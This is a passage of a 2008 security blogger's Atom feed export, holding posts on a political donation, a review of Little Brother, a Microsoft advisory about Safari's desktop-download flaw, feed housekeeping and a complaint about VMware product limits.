Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/07/myyearbook.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-5840870991083750472</id><published>2008-07-18T23:10:00.000-07:00</published><updated>2008-07-18T23:22:20.342-07:00</updated><title type="text">Politics, $8.34 worth</title><content type="html">This post is about politics, which I normally would avoid. But humor me this one time.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://seantevis.com/kansas/3000/running-for-office-xkcd-style/"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px;" src="http://farm4.static.flickr.com/3249/2676618297_4fe5d1d9ca_o.png" alt="" border="0" /&gt;&lt;/a&gt;Click on the pic to have your geek heartstrings pulled. Short version: If he's willing and able to put this up, that's all I need to know. Don't care if he's pandering.&lt;br /&gt;&lt;br /&gt;Yeah, I gave him $8.34.&lt;br /&gt;&lt;br /&gt;Long version: Doesn't matter if he's in Kansas, I want people like this to succeed. Doesn't matter if I agree with all of his policies, you never get a candidate that matches exactly, and you can't count on them to implement them once in office. Plus, he appears to be able to change his mind based on &lt;a href="http://seantevis.com/kansas/issue/illegal-immigration/"&gt;feedback&lt;/a&gt;, holy crap.&lt;br /&gt;&lt;br /&gt;If you want more candidates like this, consider giving him the token donations (US only), and blog him up.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-5840870991083750472?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/WkbTTTo7eYM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/5840870991083750472/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=5840870991083750472" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5840870991083750472" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/5840870991083750472" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/WkbTTTo7eYM/politics-834-worth.html" title="Politics, $8.34 worth" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/07/politics-834-worth.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-2755992038378823703</id><published>2008-07-15T21:17:00.000-07:00</published><updated>2008-07-15T21:18:52.031-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><title type="text">HOPE</title><content type="html">I'll be in NYC for HOPE, starting tomorrow. Any of you going to be there?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-2755992038378823703?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/pc7TQNkLkRI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/2755992038378823703/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=2755992038378823703" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/2755992038378823703" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/2755992038378823703" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/pc7TQNkLkRI/hope.html" title="HOPE" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/07/hope.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-1789673318552241975</id><published>2008-06-08T14:26:00.000-07:00</published><updated>2008-06-08T15:59:48.511-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><category scheme="http://www.blogger.com/atom/ns#" term="review" /><title type="text">Little Brother</title><content type="html">I just finished reading &lt;a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;amp;location=http%3A%2F%2Fwww.amazon.com%2FLittle-Brother-Cory-Doctorow%2Fdp%2F0765319853&amp;amp;tag=thievco&amp;amp;linkCode=ur2&amp;amp;camp=1789&amp;amp;creative=9325"&gt;Little Brother&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=thievco&amp;amp;l=ur2&amp;amp;o=1" alt="" style="border: medium none  ! important; margin: 0px ! important;" border="0" height="1" width="1" /&gt; by Cory Doctorow while on a plane to Seattle for a &lt;a href="http://windowssecrets.com/"&gt;Windows Secrets&lt;/a&gt; meetup.&lt;br /&gt;&lt;br /&gt;There are a few audiences one might rate this book against. Probably the only fair one is the one Cory wrote for, young adult readers who need an introduction to electronic civil rights (and civil rights in general, for that matter.) For that audience, I think he has succeeded admirably. I will make my copy available to my kids, and see if any of them have an opinion.&lt;br /&gt;&lt;br /&gt;To be sure, the book tries to indoctrinate readers to the cyber libertarian way of thinking. Since I happen to agree with that doctrine, I have no problem with that. (And yes, I gave up fighting the use of "cyber". I lose.)&lt;br /&gt;&lt;br /&gt;Another audience I might rate this book against is the one I put myself in. Middle-aged infosec people. Perhaps with a little amateur writer thrown in. I still recommend the book, but now I have to start breaking out caveats and picking nits.&lt;br /&gt;&lt;br /&gt;Spoilers ahoy.&lt;br /&gt;&lt;br /&gt;First off, how's the tech? This is a sliding graph. Compared to the vast majority of the books in the world, Cory's technical accuracy is quite high. There are extreme ends of this scale. For example, Dan Brown (The Da Vinci Code author) writes with basically zero tech accuracy. Amazingly good, page-turning drama. Horrible tech. So Dan's down at the great writing, lousy tech corner.&lt;br /&gt;&lt;br /&gt;If I may give my ego a backhanded stroke for a moment, I place myself up at the opposite corner. In the &lt;a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;amp;location=http%3A%2F%2Fwww.amazon.com%2Fs%3Furl%3Dsearch-alias%253Daps%26field-keywords%3Dstealing%2Bthe%2Bnetwork%26x%3D0%26y%3D0&amp;amp;tag=thievco&amp;amp;linkCode=ur2&amp;amp;camp=1789&amp;amp;creative=9325"&gt;Stealing the Network&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=thievco&amp;amp;l=ur2&amp;amp;o=1" alt="" style="border: medium none  ! important; margin: 0px ! important;" border="0" height="1" width="1" /&gt;  series, I went way out of my way to make my tech 100% accurate. I also acknowledge that my writing probably sucks, so I like to think of myself as the anti-Dan Brown. Mercifully, my books are shelved in the Computer section of book stores.&lt;br /&gt;&lt;br /&gt;Cory's writing in Little Brother is good and his tech is very good. (For a not-specifically tech, non-hacking book). So he's in the upper-right quadrant of the graph.&lt;br /&gt;&lt;br /&gt;But of course I'm compelled to point out specific problems. Cory sacrifices some accuracy for plot in a few key places. And appropriately so, I think. The plot flows better this way. Biggest example is the RFID rewriting. The majority of the tags are not rewritable. Cory has kids running around doing non-contact rewrites of FastTrak and other cheap RFID tags. Doesn't work in real life. Nor, I believe, in the near future.&lt;br /&gt;&lt;br /&gt;Speaking of time, I can't recall spotting anything in the book that would indicate a specific year. I'm sure that's intentional. I've had my books described as being 10 minutes into the future. I think Cory's at 60 minutes. It reads like now plus 5 to 10 years.&lt;br /&gt;&lt;br /&gt;Cory's writing also snags in a few places. (Keep in mind, just because I can spot someone else doing it doesn't mean I can avoid doing it myself.) One of his purposes is to instruct. He doesn't assume the reader knows what an RFID tag is in the first place. This is where there's a big difference between random YA reader and someone like me who has been doing security for years.&lt;br /&gt;&lt;br /&gt;For me, he's way over-explaining, and the story grids to a halt. It's mostly first-person, and so are the explanations. But the first person goes from being aimed at someone in the story to being aimed at the reader. It's as if the main character turns to look straight out of the page at you. For someone who knows these things, it's like saying "money can be used for goods and services." So this lessened the enjoyment of the story aspect for me somewhat. But again, probably a tradeoff he made.&lt;br /&gt;&lt;br /&gt;I also am already caught up on all the technical and political aspects the book covers, so I didn't learn anything new there. But then I read Boing Boing, was around when the EFF was founded, have been going to various hacking conferences for over a decade, and know half of the people Cory used for source material.&lt;br /&gt;&lt;br /&gt;In my case, that leaves the story. On to the parts I did like. I find the overall plot, sadly, believable. It's almost entirely set in San Francisco and the Bay Area, where I live. So he gets local color points. He came up with a number of characters I care about. He made me angry about what was happening in the story. After the first couple of chapters, I had to spend all my spare time reading it.&lt;br /&gt;&lt;br /&gt;Let me see if I can help you categorize yourself as a person who would agree with the politics of this book, and would be ok sharing with a YA reader. Do you get mad every time &lt;a href="http://thomashawk.com/"&gt;Thomas Hawk&lt;/a&gt; links to a story about a photographer getting hassled by the police or a security guard? Do you want to call up and scream at a school board or principal when &lt;a href="http://www.fark.com/"&gt;Fark&lt;/a&gt; links to a story about some kid getting expelled for a t-shirt or haircut? Do you have nothing but contempt for the &lt;a href="http://www.emergentchaos.com/archives/2008/06/praises_for_the_tsa.html"&gt;TSA&lt;/a&gt; every time you find yourself removing your shoes at the airport?&lt;br /&gt;&lt;br /&gt;If the answer is yes, then you will probably "enjoy" the plot and be right on board with the political implication. Be prepared to spend the first half of the book angry.&lt;br /&gt;&lt;br /&gt;You know what else I liked? Cory didn't shy away from the other points of view in the discussion. He goes ahaead and points out how his main character is just like a terrorist. He gets screwed over by his parents for most of the book. Some of his own friends give up on him. Some of his trusted circle betray him. He doubts constantly. He suffers for it. It's not like Cory's position still isn't clear, but I appreciate him exposing all the costs.&lt;br /&gt;&lt;br /&gt;The big moral of the story is that intrusive government sucks. But the smaller moral is that you have to stand up for your own rights, and it's going to hurt.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://craphound.com/littlebrother/download/"&gt;Little Brother download page&lt;/a&gt;&lt;a href="http://www.google.com/search?hl=en&amp;amp;safe=off&amp;amp;domains=boingboing.net&amp;amp;sitesearch=boingboing.net&amp;amp;q=%22little+brother%22&amp;amp;btnG=Search&amp;amp;sitesearch=boingboing.net"&gt;&lt;br /&gt;Little Brother posts&lt;/a&gt; on Boing Boing&lt;a href="http://www.boingboing.net/2004/08/22/stealing-the-network.html"&gt;&lt;br /&gt;Cory's review of one of my books&lt;/a&gt; (seems only fair)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-1789673318552241975?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/lravUxPIsIc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/1789673318552241975/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=1789673318552241975" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/1789673318552241975" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/1789673318552241975" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/lravUxPIsIc/little-brother.html" title="Little Brother" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/06/little-brother.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-1217319636542281002</id><published>2008-05-31T10:27:00.000-07:00</published><updated>2008-05-31T10:28:46.768-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="secphil" /><title type="text">Race to Zero</title><content type="html">The &lt;a href="http://www.racetozero.net/"&gt;Race to Zero&lt;/a&gt; contest.&lt;br /&gt;&lt;br /&gt;So, people are going to write some new packers? OK, no problem then.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-1217319636542281002?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/rHErYTG8zaY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/1217319636542281002/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=1217319636542281002" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/1217319636542281002" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/1217319636542281002" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/rHErYTG8zaY/race-to-zero.html" title="Race to Zero" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/05/race-to-zero.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-4884582559146387615</id><published>2008-05-30T21:43:00.000-07:00</published><updated>2008-05-31T11:07:07.193-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title type="text">Is Microsoft dropping Apple 0-day?</title><content type="html">Just saw this link show up in my RSS reader:&lt;a href="http://www.microsoft.com/technet/security/advisory/953818.mspx"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a href="http://www.microsoft.com/technet/security/advisory/953818.mspx"&gt;Microsoft Security Advisory (953818) Blended Threat from Combined Attack Using Apple’s Safari on the Windows Platform&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;From the advisory:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;FAQ&lt;br /&gt;&lt;br /&gt;&lt;b&gt;What causes this threat?&lt;/b&gt;&lt;br /&gt;A combination of the default download location in Safari and how the Windows desktop handles executables creates a blended threat in which files may be downloaded to a user’s machine without prompting, allowing them to be executed. Safari is available as a stand-alone install or through the Apple Software Update application.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;And&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Workarounds&lt;p&gt;Microsoft has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="listBullet" valign="top"&gt;•&lt;/td&gt;&lt;td class="listItem"&gt;&lt;p&gt;Change the download location of content in Safari to a location other than ‘Desktop’&lt;/p&gt;&lt;p&gt;Launch Safari. Under the &lt;b&gt;Edit&lt;/b&gt; menu select &lt;b&gt;Preferences&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;At the option where it states &lt;b&gt;Save Downloaded Files to:&lt;/b&gt;, select a different location on the local drive. &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/blockquote&gt;So... that sounds a lot like if I were to download a desktop.ini file or something like that, I'd get my Windows all 0wned. As in, if I cared to, I probably wouldn't have to work too hard to figure out how to exploit this from Microsoft's description and workaround.&lt;br /&gt;&lt;br /&gt;Is this being exploited in the wild or something? Otherwise I kinda would have expected Microsoft to keep quiet until it was patched by Apple.&lt;br /&gt;&lt;br /&gt;I guess Apple &lt;a href="http://www.betanews.com/article/Apple_pushing_iTunes_QT_users_on_Windows_to_download_Safari/1206113171"&gt;pushing Safari on Windows iTunes/Quicktime users&lt;/a&gt; isn't looking so hot about now?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt;&lt;br /&gt;Aha, pointer from &lt;a href="http://apple.slashdot.org/article.pl?sid=08/05/31/1214254"&gt;Slashdot&lt;/a&gt; and &lt;a href="http://www.theregister.co.uk/2008/05/31/microsoft_warns_against_apple_safari/"&gt;The Register&lt;/a&gt;. The &lt;a href="http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html"&gt;carpet bombing&lt;/a&gt; seems to be the genesis, but that's not the whole story, since he doesn't talk about executing code.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update2:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://aviv.raffon.net/2008/05/31/SafariPwnsInternetExplorer.aspx"&gt;There it is&lt;/a&gt;, it was found by Aviv Raff.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-4884582559146387615?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/DABkO0uMQ_Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/4884582559146387615/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=4884582559146387615" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/4884582559146387615" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/4884582559146387615" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/DABkO0uMQ_Y/is-microsoft-dropping-apple-0-day.html" title="Is Microsoft dropping Apple 0-day?" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/05/is-microsoft-dropping-apple-0-day.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-8248993998190253888</id><published>2008-05-03T14:06:00.000-07:00</published><updated>2008-05-03T14:20:10.491-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="egoblogging" /><title type="text">Tweaking content (administrivia)</title><content type="html">I have a tendency to write full essays, and only when I'm aroused enough to spend the time, and then only when I can afford the time at that moment. I've also avoided more personal and trivial stuff, because the blog is part of the &lt;a href="http://networks.feedburner.com/Security-Bloggers-Network"&gt;Security Blogger's Network&lt;/a&gt; and because most of you read this because of security-related things.&lt;br /&gt;&lt;br /&gt;Well, those are problems that have an easy technical solution. I've created a &lt;a href="http://feeds.feedburner.com/ryanlrussellsecurity"&gt;security-only feed&lt;/a&gt;. If you only want the security-related stuff (things I tag "security"), then change your subscription to this feed.&lt;br /&gt;&lt;br /&gt;If you want all the other crap I decide to come up with, continue to use the full feed.&lt;br /&gt;&lt;br /&gt;I titled the blog "ryanlrussell", I planned to have it be an egofest from the beginning, I just got sidetracked. So what have I been holding back on? Attempts at short fiction, things about my kids, other technology stuff, more things I want to keep a pointer to, and so on. You know that thing that thing that bloggers do that people complain about where they just point to some article and have a short comment without a lot of insight and value add? I'm going to do more of that.&lt;br /&gt;&lt;br /&gt;There will be a tsunami of content. Relatively speaking. Prepare for boarding.&lt;br /&gt;&lt;br /&gt;I'm going to go tweak old posts, which I'm sure will cause old articles to hit your readers again. Apologies in advance. Should be mostly a one-time thing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-8248993998190253888?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/_8i9Akn2TnA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/8248993998190253888/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=8248993998190253888" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/8248993998190253888" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/8248993998190253888" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/_8i9Akn2TnA/tweaking-content-administrivia.html" title="Tweaking content (administrivia)" /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://ryanlrussell.blogspot.com/2008/05/tweaking-content-administrivia.html</feedburner:origLink></entry><entry><id>tag:blogger.com,1999:blog-18579416.post-243377214527538356</id><published>2008-03-22T15:27:00.000-07:00</published><updated>2008-03-22T16:42:37.440-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="v12n" /><title type="text">Arr! VMWare is driving me nuts.</title><content type="html">Several random VMWare things I want to throw out there that bother me.&lt;br /&gt;&lt;br /&gt;At this point, I have used and continue to use most of VMWare's products. This started with Workstation back to 3.x.&lt;br /&gt;&lt;br /&gt;Oh, at let me get my biases out of the way; I run a QA department, and we use VMWare for everything we can. Nothing better than being able to restore to a know state or save off a machine exactly where it is when exhibiting a problem. BigFix, where I work, also makes an agent that runs inside the management partition on ESX 3.x boxes.&lt;br /&gt;&lt;br /&gt;VMWare Workstation - Great product, great price point. You can run multiple machines (a few), manage whole snapshot trees. Only really useful if you're in front of the box Workstation is running on. Gets the bleeding-edge features. VMs running under Workstation don't perform great, but are adequate if you give them enough physical RAM. Pretty much exactly matches expectations, but then it's the first product and is the one the others vary from. So in a very real way, this is what sets my expectations for the other products.&lt;br /&gt;&lt;br /&gt;VMWare Server - The first larger VMWare purchase I made was GSX Server, somewhere around $3,000US for the software, and a $6,000 Dell 2U running Windows to put it on (BigFix's money, not my personal budget). Not bad, performance is still not great, slightly worse than Workstation. Might be because of remote access latency. Shareable, remote access built-in, which is key. Only one snapshot though, which is an immediate problem. I can manually backup machines at the expense of 30 minutes instead of 60 seconds, and disk space per copy is the same as the original rather than a fraction like a snapshot. But I found I could have a library of 30 machines, and run around 15 simultaneously, depending.&lt;br /&gt;&lt;br /&gt;I originally assumed they had just left it out of GSX so far... or maybe, that was their hook to get people to go to ESX? I hadn't looked into ESX yet at the time. It's not a casual evaluation. That's about when VMWare made Server free. Hey, great right? No. There go my hopes of ever getting multiple snapshots on Server. Because VMWare would be insane to put that feature in the free product. For someone in my position, multiple snapshots are probably 40% of the advantage of ESX over Server. And I use ESX now, so why do I care? Because I can't give up Server! I have to keep using this intentionally crippled product. I'll get to why in a sec.&lt;br /&gt;&lt;br /&gt;VMWare ESX Server (family) - At this point BigFix has standardized on ESX for as many QA machines as possible. (We have stuff that runs on Mac, Solaris SPARC, AIX PPC, HP-UX PA-RISC and Itanium, Windows Itanium, Windows Mobile on ARM. The x86 virtualization doesn't help much on those. It could with Mac, but Apple only just recently allowed OS X Server on VMs. When I'm trying to qualify our product on OS X, I can't go the hackintosh route. Also, I have a DLP product and some Wake-on-LAN functions I need real machines for. Oh, and I have an agent that runs IN ESX. I can't run ESX in ESX....)&lt;br /&gt;&lt;br /&gt;But back to what I LIKE about ESX for a sec. It's the fastest of the bunch, scales better, has better remote access, better machine cloning, migration between physical ESX hosts and drives, and has MULTIPLE SNAPSHOTS. I put my team on ESX, and some of the install matrix stuff instantly takes half the time because of the snapshot feature alone. There's also a almost real infrastructure management. For my purposes, this means I get all my VMs in one window with one login. If you have more than one Server, then you log into each one separately (as far as I know. More on that in a sec, too.) I have as many as 30-40 machines running simultaneously per physical ESX box, out of a library coming up on 100, and it does a fantastic job at resource sharing the 8 cores and 16GB of RAM per physical box. It loves it some disk space, but that sort of thing happens when you build a hundred VMs averaging around 10GB each.&lt;br /&gt;&lt;br /&gt;Sure, it's a little pricey. I think I'm paying $3000-4000 per ESX box, plus something for Virtual Center, and I'm not sure what else. I'm buying $9,000 Dell 2Us now, because ESX can actually make us of the resources. And I'm in for an external Dell SATA drive array, 15 400GB drives RAIDed, giving my 1TB on one ESX box, and 1.4TB on the other ESX box. I think we paid $15,000-$20,000 for that. I get less clear on the costs at this point, because I can now just budget for more capacity, and my IT department is buying it. We're in the process of picking on a 40TB SAN for the big cutover, where I bring some other groups into production on ESX who have been suffering with Workstation and piles of external 500GB USB hard drives. We have a tiny bit of production virtualization that VMWare constantly touts, but 90% of my ESX use falls under QA-style use.&lt;br /&gt;&lt;br /&gt;Great, right? So one day, I grab the VMWare Converter tool (awesome tool!) to convert the last of my Server images over to ESX... and it balks. OK, no big deal.. I can make them again, they're just a few Win9x boxes, some Solaris x86 10... Hey, the Win9x OSes are missing from the list of standard OSes in the UI. I do some digging, and...&lt;br /&gt;&lt;br /&gt;Windows 9x is not supported on ESX.&lt;br /&gt;&lt;br /&gt;What? That can't be right... do some investigation... supported on Workstation... supported on Server. Not supported on ESX.&lt;br /&gt;&lt;br /&gt;The Solaris x86 10 doesn't seem to work so well on ESX either, though support is claimed. But only starting at a particular patch level. Uh, I kinda need to test compatibility all the way back to no patches, guys. But I haven't finished my heroic effort getting it running on ESX yet. (Not that I should have to work that hard, of course.)&lt;br /&gt;&lt;br /&gt;So in one shot, ESX has now forced me to maintain some number of Server machines. Sure, I already had to have piles of physical boxes for the random non-x86 unices. But I was so close on the Win9x. It should work. VMWare just doesn't want to. Can I have multiple snapshots on Server? No. Can I have Win9x on ESX? No. And I can't pay them for it, they don't want to.&lt;br /&gt;&lt;br /&gt;While I'm complaining, there's one more thing I don't like about ESX (besides the usualy incremental stuff). I have no idea what the various ESX pieces do, or if I have them, or if I want them, or what kind of setup I need for them. I know I have ESX, Converter, and Virtual Center. I think I want VMotion. I think it does cool stuff with automatically balancing loads and migrating machines. I think I need a SAN for that. I sure hope my IT guy who spec'd that and the SAN out has it straight. I think there are bundles that have some of what I want. And I don't know what else I'm missing.&lt;br /&gt;&lt;br /&gt;Like, I have Virtual Center. Does that help with my requirement for Server still? I don't think it does. I could be wrong. There's some ACE authentication product or something too, right? Why would I want that? What does it do?&lt;br /&gt;&lt;br /&gt;Why did you buy Determina?&lt;br /&gt;&lt;br /&gt;Now, if you actually know what you're doing with VMWare, you are assuming I haven't done my homework and haven't been to training and haven't been reading the docs and whitepapers. And you're right. But I'm the customer. I have entitlement issues. I define good products as ones that I can figure out without much work, that don't make me read the docs. I've been doing this for 25 years now, I like it this way. If I have to read your docs, then I lose for some reason. So when I can't figure out your product line a differentiation, that's ultimately our fault and you have made me bitter and/or sold me less. Make it simpler.&lt;br /&gt;&lt;br /&gt;And then when I HAVE figured out your product differentiation when you didn't really want me to (i.e. your artificial limitations), that's not so hot either.&lt;br /&gt;&lt;br /&gt;OK, I feel better thanks. And yes, for those of you who actually know the VMWare stuff in depth, PLEASE correct me.&lt;br /&gt;&lt;br /&gt;BTW, what brought on the rant? I've got a presentation next week on malware analysis. I need Windows for that, and I'm carrying around a MacBook Pro with Leopard lately. So I bought a copy of VMWare Fusion straight from VMWare for about $70 yesterday. That's about half the cost of Workstation (Windows/Linux host only.)&lt;br /&gt;&lt;br /&gt;It only does single snapshots.&lt;br /&gt;&lt;br /&gt;Could I give you the extra $50 for multiple snapshots, PLEASE?! I only need this on my laptop when I'm traveling. I will use just as much ESX when I'm at work, I promise.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18579416-243377214527538356?l=ryanlrussell.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Ryanlrussell/~4/KOEpWkygghI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://ryanlrussell.blogspot.com/feeds/243377214527538356/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18579416&amp;postID=243377214527538356" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/243377214527538356" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18579416/posts/default/243377214527538356" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Ryanlrussell/~3/KOEpWkygghI/arr-vmware-is-driving-me-nuts.html" title="Arr! VMWare is driving me nuts." /><author><name>Ryan Russell</name><uri>http://www.blogger.com/profile/13265663681454609204</uri><email>ryan@thievco.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="04460106435990361369" /></author><thr:total 